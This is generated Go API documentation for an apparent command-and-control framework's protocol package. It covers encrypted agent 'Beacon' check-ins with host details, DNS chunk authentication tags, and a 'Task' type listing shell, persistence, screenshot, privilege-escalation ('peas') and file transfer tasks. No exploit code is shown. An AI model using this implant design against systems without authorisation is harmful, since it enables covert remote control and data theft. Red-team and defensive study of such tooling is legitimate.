protocol

Documentation

Index

• Constants
• func DNSChunkAuthTag(secret []byte, sessionID, agentID string, index, total int, chunk []byte) string
• func DNSResponseAuthTag(secret []byte, sessionID, agentID string, index int) string
• func EncodeBeacon(b *Beacon, secret []byte) ([]byte, error)
• func EncodeTask(t *Task, secret []byte) ([]byte, error)
• func RandomNonce() ([]byte, error)
• func VerifyDNSChunkAuthTag(secret []byte, tag, sessionID, agentID string, index, total int, chunk []byte) bool
• func VerifyDNSResponseAuthTag(secret []byte, tag, sessionID, agentID string, index int) bool
• type Beacon
  • func DecodeBeacon(data, secret []byte) (*Beacon, error)
• type Task
  • func DecodeTask(data, secret []byte) (*Task, error)
• type TaskResult

Constants

const (
	// MaxUploadFileBytes keeps the doubly base64-encoded task envelope below the
	// agent's bounded HTTPS response reader, including JSON and AEAD overhead.
	MaxUploadFileBytes        = 40 * 1024 * 1024
	MaxRemotePathBytes        = 4096
	MaxHTTPSTaskResponseBytes = 72 * 1024 * 1024
	MaxUploadTaskPayloadBytes = MaxRemotePathBytes + 1 + ((MaxUploadFileBytes+2)/3)*4
)

Functions

func DNSChunkAuthTag

func DNSChunkAuthTag(secret []byte, sessionID, agentID string, index, total int, chunk []byte) string

DNSChunkAuthTag authenticates one DNS beacon chunk before the listener allocates any reassembly state for it.

func DNSResponseAuthTag

func DNSResponseAuthTag(secret []byte, sessionID, agentID string, index int) string

DNSResponseAuthTag authenticates a DNS response-chunk retrieval query.

func EncodeBeacon

func EncodeBeacon(b *Beacon, secret []byte) ([]byte, error)

EncodeBeacon encrypts and signs a Beacon using the agent's pre-shared secret. Pattern: Encrypt-then-MAC; MAC covers agentID||ciphertext to bind identity to payload.

func EncodeTask

func EncodeTask(t *Task, secret []byte) ([]byte, error)

EncodeTask encrypts and signs a Task for delivery to an agent.

func RandomNonce

func RandomNonce() ([]byte, error)

RandomNonce returns 16 cryptographically random bytes for use as a beacon nonce.

func VerifyDNSChunkAuthTag

func VerifyDNSChunkAuthTag(secret []byte, tag, sessionID, agentID string, index, total int, chunk []byte) bool

VerifyDNSChunkAuthTag verifies a chunk tag in constant time.

func VerifyDNSResponseAuthTag

func VerifyDNSResponseAuthTag(secret []byte, tag, sessionID, agentID string, index int) bool

VerifyDNSResponseAuthTag verifies a response retrieval tag in constant time.

Types

type Beacon

type Beacon struct {
	AgentID      string      `json:"agent_id"`
	Timestamp    int64       `json:"ts"`
	Nonce        []byte      `json:"nonce"`
	Hostname     string      `json:"hostname"`
	OS           string      `json:"os"`
	Arch         string      `json:"arch"`
	HostIP       string      `json:"host_ip,omitempty"`
	SleepSeconds int         `json:"sleep_seconds,omitempty"`
	TaskOutput   *TaskResult `json:"output,omitempty"`
}

Beacon is sent from agent → server on every check-in.

func DecodeBeacon

func DecodeBeacon(data, secret []byte) (*Beacon, error)

DecodeBeacon verifies the MAC then decrypts. Returns error on any failure. MAC is verified before decryption to prevent padding oracle and tampering. The decrypted AgentID is additionally verified against the envelope AgentID to prevent cross-agent impersonation (a rogue agent setting a victim's ID inside an otherwise validly-signed payload).

type Task

type Task struct {
	ID      string `json:"id"`
	Type    string `json:"type"` // shell | upload | download | download_archive | ps | screenshot | persistence | peas | snapshot | ls | cancel | complete | pathbrowse | sleep | kill | noop
	Payload string `json:"payload"`
}

Task is sent from server → agent in the beacon response.

func DecodeTask

func DecodeTask(data, secret []byte) (*Task, error)

DecodeTask verifies and decrypts a Task response.

type TaskResult

type TaskResult struct {
	TaskID     string `json:"task_id"`
	Type       string `json:"type"`
	Output     string `json:"output"`
	Warning    string `json:"warning,omitempty"`
	Error      string `json:"error,omitempty"`
	ChunkIndex int    `json:"chunk_index,omitempty"`
	ChunkTotal int    `json:"chunk_total,omitempty"`
}

TaskResult carries the output of a completed task back to the server.